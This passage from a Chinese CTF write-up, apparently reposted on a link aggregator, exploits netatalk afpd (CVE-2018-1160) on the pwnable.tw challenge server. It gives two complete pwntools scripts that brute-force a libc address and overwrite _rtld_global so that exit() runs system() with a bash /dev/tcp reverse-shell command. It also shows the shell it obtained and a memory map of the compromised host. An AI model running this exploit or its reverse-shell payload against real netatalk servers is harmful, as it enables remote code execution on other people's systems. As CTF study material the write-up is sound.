[#0] Id 1, Name: "afpd", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────── trace ───
0x00000000deadbeef in ?? ()
The program being debugged was signaled while in a function called from GDB.
GDB remains in the frame where the signal was received.
To change this behavior use "set unwindonsignal on".
Evaluation of the expression containing the function
(__GI_exit) will be abandoned.
When the function is done executing, GDB will silently stop.
gef➤  

所以直接打system和反弹shell的命令就行了,并不用打setcontext。经过测试,本地子进程,将在连接断掉几分钟后退出,超时退出时即可触发exit,进而完成控制流劫持。

远程完整exp

通过其他题目测试,pwnable.tw远程使用:bash -c “bash -i>& /dev/tcp/ip/port 0<&1” 反弹shell是有效的

pwnable.tw CVE-2018-1160 Write up中,提到远程版本为ubuntu18.04.1,下载相同镜像,测试题目情况下,libc基址与_rtld_global偏移为 0xed2060,故最终exp如下:

from pwn import *
context(endian='little')

ip   = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

def boom():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i
            io = remote(ip,port)
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(gen_dsi(payload))
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

leak_addr = boom()
log.success(hex(leak_addr))

for i in range(0x0000000,0xffff000,0x1000):
    libc.address = leak_addr - i
    rtld = libc.address + 0xed2060
    cmd = b'bash -c "bash  -i>& /dev/tcp/ip/port 0<&1"'
    try:
        io = remote(ip,port)
        aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
        io.close()
    except:
        io.close()

监听端口后,开始爆破,使用linode日本服务器,大约五分钟后,即可getshell:

ubuntu@VM-16-6-ubuntu:~$ nc -l 8888

bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
netatalk@08e1e5af1e65:/$ 

拿shell后,查看远程目标内存布局(2021.11.6):

netatalk@08e1e5af1e65:/$ cat /proc/8/maps
cat /proc/8/maps
563f3dcc3000-563f3dd05000 r-xp 00000000 08:00 348786       /home/netatalk/afpd
563f3df04000-563f3df06000 r--p 00041000 08:00 348786       /home/netatalk/afpd
563f3df06000-563f3df09000 rw-p 00043000 08:00 348786       /home/netatalk/afpd
563f3df09000-563f3df28000 rw-p 00000000 00:00 0 
563f3e18f000-563f3e1fd000 rw-p 00000000 00:00 0            [heap]
7fa9b7479000-7fa9b7484000 r-xp 00000000 08:00 2534640      /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7484000-7fa9b7683000 ---p 0000b000 08:00 2534640      /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7683000-7fa9b7684000 r--p 0000a000 08:00 2534640      /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7684000-7fa9b7685000 rw-p 0000b000 08:00 2534640      /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7685000-7fa9b768b000 rw-p 00000000 00:00 0 
7fa9b768b000-7fa9b7828000 r-xp 00000000 08:00 2534623      /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7828000-7fa9b7a27000 ---p 0019d000 08:00 2534623      /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a27000-7fa9b7a28000 r--p 0019c000 08:00 2534623      /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a28000-7fa9b7a29000 rw-p 0019d000 08:00 2534623      /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a29000-7fa9b7a30000 r-xp 00000000 08:00 2535365      /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7a30000-7fa9b7c2f000 ---p 00007000 08:00 2535365      /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c2f000-7fa9b7c30000 r--p 00006000 08:00 2535365      /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c30000-7fa9b7c31000 rw-p 00007000 08:00 2535365      /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c31000-7fa9b7c3a000 r-xp 00000000 08:00 2534606      /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7c3a000-7fa9b7e39000 ---p 00009000 08:00 2534606      /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e39000-7fa9b7e3a000 r--p 00008000 08:00 2534606      /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e3a000-7fa9b7e3b000 rw-p 00009000 08:00 2534606      /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e3b000-7fa9b7e69000 rw-p 00000000 00:00 0 
7fa9b7e69000-7fa9b7f6d000 r-xp 00000000 08:00 1041433      /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b7f6d000-7fa9b816c000 ---p 00104000 08:00 1041433      /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b816c000-7fa9b816f000 r--p 00103000 08:00 1041433      /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b816f000-7fa9b8171000 rw-p 00106000 08:00 1041433      /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b8171000-7fa9b8172000 rw-p 00000000 00:00 0 
7fa9b8172000-7fa9b81b8000 r-xp 00000000 08:00 1041335      /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b81b8000-7fa9b83b7000 ---p 00046000 08:00 1041335      /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83b7000-7fa9b83ba000 r--p 00045000 08:00 1041335      /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83ba000-7fa9b83bb000 rw-p 00048000 08:00 1041335      /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83bb000-7fa9b83bc000 rw-p 00000000 00:00 0 
7fa9b83bc000-7fa9b83ca000 r-xp 00000000 08:00 1041320      /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b83ca000-7fa9b85c9000 ---p 0000e000 08:00 1041320      /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85c9000-7fa9b85ca000 r--p 0000d000 08:00 1041320      /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85ca000-7fa9b85cb000 rw-p 0000e000 08:00 1041320      /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85cb000-7fa9b85f3000 r-xp 00000000 08:00 1041445      /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b85f3000-7fa9b87f2000 ---p 00028000 08:00 1041445      /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f2000-7fa9b87f3000 r--p 00027000 08:00 1041445      /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f3000-7fa9b87f4000 rw-p 00028000 08:00 1041445      /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f4000-7fa9b8873000 r-xp 00000000 08:00 2535371      /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8873000-7fa9b8a73000 ---p 0007f000 08:00 2535371      /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a73000-7fa9b8a74000 r--p 0007f000 08:00 2535371      /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a74000-7fa9b8a75000 rw-p 00080000 08:00 2535371      /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a75000-7fa9b8aa8000 r-xp 00000000 08:00 2535375      /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8aa8000-7fa9b8ca7000 ---p 00033000 08:00 2535375      /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca7000-7fa9b8ca8000 r--p 00032000 08:00 2535375      /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca8000-7fa9b8ca9000 rw-p 00033000 08:00 2535375      /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca9000-7fa9b8cdd000 r-xp 00000000 08:00 2535385      /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8cdd000-7fa9b8edc000 ---p 00034000 08:00 2535385      /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8edc000-7fa9b8ede000 r--p 00033000 08:00 2535385      /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8ede000-7fa9b8edf000 rw-p 00035000 08:00 2535385      /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8edf000-7fa9b8ef0000 r-xp 00000000 08:00 2535398      /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b8ef0000-7fa9b90f0000 ---p 00011000 08:00 2535398      /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f0000-7fa9b90f1000 r--p 00011000 08:00 2535398      /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f1000-7fa9b90f2000 rw-p 00012000 08:00 2535398      /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f2000-7fa9b926c000 r-xp 00000000 08:00 2535402      /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b926c000-7fa9b946c000 ---p 0017a000 08:00 2535402      /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b946c000-7fa9b946f000 r--p 0017a000 08:00 2535402      /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b946f000-7fa9b9470000 rw-p 0017d000 08:00 2535402      /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b9470000-7fa9b948c000 r-xp 00000000 08:00 2535377      /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b948c000-7fa9b968b000 ---p 0001c000 08:00 2535377      /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968b000-7fa9b968c000 r--p 0001b000 08:00 2535377      /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968c000-7fa9b968d000 rw-p 0001c000 08:00 2535377      /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968d000-7fa9b97a7000 r-xp 00000000 08:00 2535387      /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b97a7000-7fa9b99a7000 ---p 0011a000 08:00 2535387      /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99a7000-7fa9b99b1000 r--p 0011a000 08:00 2535387      /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99b1000-7fa9b99bb000 rw-p 00124000 08:00 2535387      /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99bb000-7fa9b99bc000 rw-p 00000000 00:00 0 
7fa9b99bc000-7fa9b99d8000 r-xp 00000000 08:00 2534686      /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b99d8000-7fa9b9bd7000 ---p 0001c000 08:00 2534686      /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd7000-7fa9b9bd8000 r--p 0001b000 08:00 2534686      /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd8000-7fa9b9bd9000 rw-p 0001c000 08:00 2534686      /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd9000-7fa9b9bee000 r-xp 00000000 08:00 1041418      /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9bee000-7fa9b9ded000 ---p 00015000 08:00 1041418      /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9ded000-7fa9b9dee000 r--p 00014000 08:00 1041418      /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9dee000-7fa9b9def000 rw-p 00015000 08:00 1041418      /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9def000-7fa9b9e22000 r-xp 00000000 08:00 1041305      /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9b9e22000-7fa9ba021000 ---p 00033000 08:00 1041305      /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba021000-7fa9ba023000 r--p 00032000 08:00 1041305      /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba023000-7fa9ba024000 rw-p 00034000 08:00 1041305      /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba024000-7fa9ba025000 rw-p 00000000 00:00 0 
7fa9ba025000-7fa9ba028000 r-xp 00000000 08:00 2534605      /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba028000-7fa9ba227000 ---p 00003000 08:00 2534605      /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba227000-7fa9ba228000 r--p 00002000 08:00 2534605      /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba228000-7fa9ba229000 rw-p 00003000 08:00 2534605      /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba229000-7fa9ba2c7000 r-xp 00000000 08:00 1041260      /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba2c7000-7fa9ba4c7000 ---p 0009e000 08:00 1041260      /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4c7000-7fa9ba4c8000 r--p 0009e000 08:00 1041260      /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4c8000-7fa9ba4cb000 rw-p 0009f000 08:00 1041260      /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4cb000-7fa9ba552000 r-xp 00000000 08:00 1041348      /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba552000-7fa9ba751000 ---p 00087000 08:00 1041348      /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba751000-7fa9ba755000 r--p 00086000 08:00 1041348      /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba755000-7fa9ba757000 rw-p 0008a000 08:00 1041348      /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba757000-7fa9ba758000 rw-p 00000000 00:00 0 
7fa9ba758000-7fa9ba760000 r-xp 00000000 08:00 1041326      /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba760000-7fa9ba95f000 ---p 00008000 08:00 1041326      /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba95f000-7fa9ba960000 r--p 00007000 08:00 1041326      /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba960000-7fa9ba961000 rw-p 00008000 08:00 1041326      /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba961000-7fa9baab8000 r-xp 00000000 08:00 2535373      /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9baab8000-7fa9bacb8000 ---p 00157000 08:00 2535373      /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacb8000-7fa9bacc4000 r--p 00157000 08:00 2535373      /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacc4000-7fa9bacc5000 rw-p 00163000 08:00 2535373      /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacc5000-7fa9bacc6000 rw-p 00000000 00:00 0 
7fa9bacc6000-7fa9bad03000 r-xp 00000000 08:00 1041293      /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9bad03000-7fa9baf03000 ---p 0003d000 08:00 1041293      /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf03000-7fa9baf05000 r--p 0003d000 08:00 1041293      /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf05000-7fa9baf07000 rw-p 0003f000 08:00 1041293      /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf07000-7fa9baf20000 r-xp 00000000 08:00 1041424      /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9baf20000-7fa9bb120000 ---p 00019000 08:00 1041424      /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb120000-7fa9bb121000 r--p 00019000 08:00 1041424      /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb121000-7fa9bb122000 rw-p 0001a000 08:00 1041424      /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb122000-7fa9bb139000 r-xp 00000000 08:00 2534661      /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb139000-7fa9bb339000 ---p 00017000 08:00 2534661      /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb339000-7fa9bb33a000 r--p 00017000 08:00 2534661      /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb33a000-7fa9bb33b000 rw-p 00018000 08:00 2534661      /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb33b000-7fa9bb33d000 rw-p 00000000 00:00 0 
7fa9bb33d000-7fa9bb34a000 r-xp 00000000 08:00 1041363      /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb34a000-7fa9bb549000 ---p 0000d000 08:00 1041363      /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb549000-7fa9bb54a000 r--p 0000c000 08:00 1041363      /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb54a000-7fa9bb54b000 rw-p 0000d000 08:00 1041363      /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb54b000-7fa9bb562000 r-xp 00000000 08:00 2534634      /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb562000-7fa9bb761000 ---p 00017000 08:00 2534634      /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb761000-7fa9bb762000 r--p 00016000 08:00 2534634      /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb762000-7fa9bb763000 rw-p 00017000 08:00 2534634      /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb763000-7fa9bb765000 rw-p 00000000 00:00 0 
7fa9bb765000-7fa9bb7b3000 r-xp 00000000 08:00 1041396      /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb7b3000-7fa9bb9b2000 ---p 0004e000 08:00 1041396      /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b2000-7fa9bb9b4000 r--p 0004d000 08:00 1041396      /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b4000-7fa9bb9b5000 rw-p 0004f000 08:00 1041396      /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b5000-7fa9bb9b7000 rw-p 00000000 00:00 0 
7fa9bb9b7000-7fa9bb9bb000 r-xp 00000000 08:00 2534590      /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bb9bb000-7fa9bbbba000 ---p 00004000 08:00 2534590      /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbba000-7fa9bbbbb000 r--p 00003000 08:00 2534590      /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbbb000-7fa9bbbbc000 rw-p 00004000 08:00 2534590      /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbbc000-7fa9bbbc4000 r-xp 00000000 08:00 1041226      /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbbc4000-7fa9bbdc4000 ---p 00008000 08:00 1041226      /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc4000-7fa9bbdc5000 r--p 00008000 08:00 1041226      /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc5000-7fa9bbdc6000 rw-p 00009000 08:00 1041226      /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc6000-7fa9bbfad000 r-xp 00000000 08:00 2534598      /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bbfad000-7fa9bc1ad000 ---p 001e7000 08:00 2534598      /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1ad000-7fa9bc1b1000 r--p 001e7000 08:00 2534598      /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1b1000-7fa9bc1b3000 rw-p 001eb000 08:00 2534598      /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1b3000-7fa9bc1b7000 rw-p 00000000 00:00 0 
7fa9bc1b7000-7fa9bc1d1000 r-xp 00000000 08:00 2534659      /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc1d1000-7fa9bc3d0000 ---p 0001a000 08:00 2534659      /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d0000-7fa9bc3d1000 r--p 00019000 08:00 2534659      /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d1000-7fa9bc3d2000 rw-p 0001a000 08:00 2534659      /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d2000-7fa9bc3d6000 rw-p 00000000 00:00 0 
7fa9bc3d6000-7fa9bc3dd000 r-xp 00000000 08:00 2534586      /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc3dd000-7fa9bc5dc000 ---p 00007000 08:00 2534586      /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5dc000-7fa9bc5dd000 r--p 00006000 08:00 2534586      /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5dd000-7fa9bc5de000 rw-p 00007000 08:00 2534586      /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5de000-7fa9bc5e1000 r-xp 00000000 08:00 2534608      /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc5e1000-7fa9bc7e0000 ---p 00003000 08:00 2534608      /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e0000-7fa9bc7e1000 r--p 00002000 08:00 2534608      /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e1000-7fa9bc7e2000 rw-p 00003000 08:00 2534608      /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e2000-7fa9bc860000 r-xp 00000000 08:00 348787       /home/netatalk/libatalk.so.18
7fa9bc860000-7fa9bca5f000 ---p 0007e000 08:00 348787       /home/netatalk/libatalk.so.18
7fa9bca5f000-7fa9bca60000 r--p 0007d000 08:00 348787       /home/netatalk/libatalk.so.18
7fa9bca60000-7fa9bca62000 rw-p 0007e000 08:00 348787       /home/netatalk/libatalk.so.18
7fa9bca62000-7fa9bca70000 rw-p 00000000 00:00 0 
7fa9bca70000-7fa9bca97000 r-xp 00000000 08:00 2534580      /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc81000-7fa9bcc92000 rw-p 00000000 00:00 0 
7fa9bcc95000-7fa9bcc97000 rw-p 00000000 00:00 0 
7fa9bcc97000-7fa9bcc98000 r--p 00027000 08:00 2534580      /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc98000-7fa9bcc99000 rw-p 00028000 08:00 2534580      /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc99000-7fa9bcc9a000 rw-p 00000000 00:00 0 
7ffdda198000-7ffdda1b9000 rw-p 00000000 00:00 0            [stack]
7ffdda1cb000-7ffdda1cd000 r--p 00000000 00:00 0            [vvar]
7ffdda1cd000-7ffdda1cf000 r-xp 00000000 00:00 0            [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0    [vsyscall]

有了libc基址后,就可以一发搞定了,因为不用爆破,所以可以在本地打(2021.11.6):

from pwn import *
context(endian='little')

ip   = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

libc.address = 0x7fa9bbdc6000
rtld = libc.address + 0xed2060
cmd = b'bash -c "bash  -i>& /dev/tcp/ip/port 0<&1"'

io = remote(ip,port)
aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
io.close()

但发现打完三分钟后才能收到shell,故情况和我本地相同:没有在tcp断掉后立即结束进程,推测原因可能是配置的timeout并没有生效。最后的效果很像三体中的罗辑打187J3X1,打完200多年后才看到打成了。你们可以摆脱我了:我打算冬眠,当收到shell时,叫醒我…


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK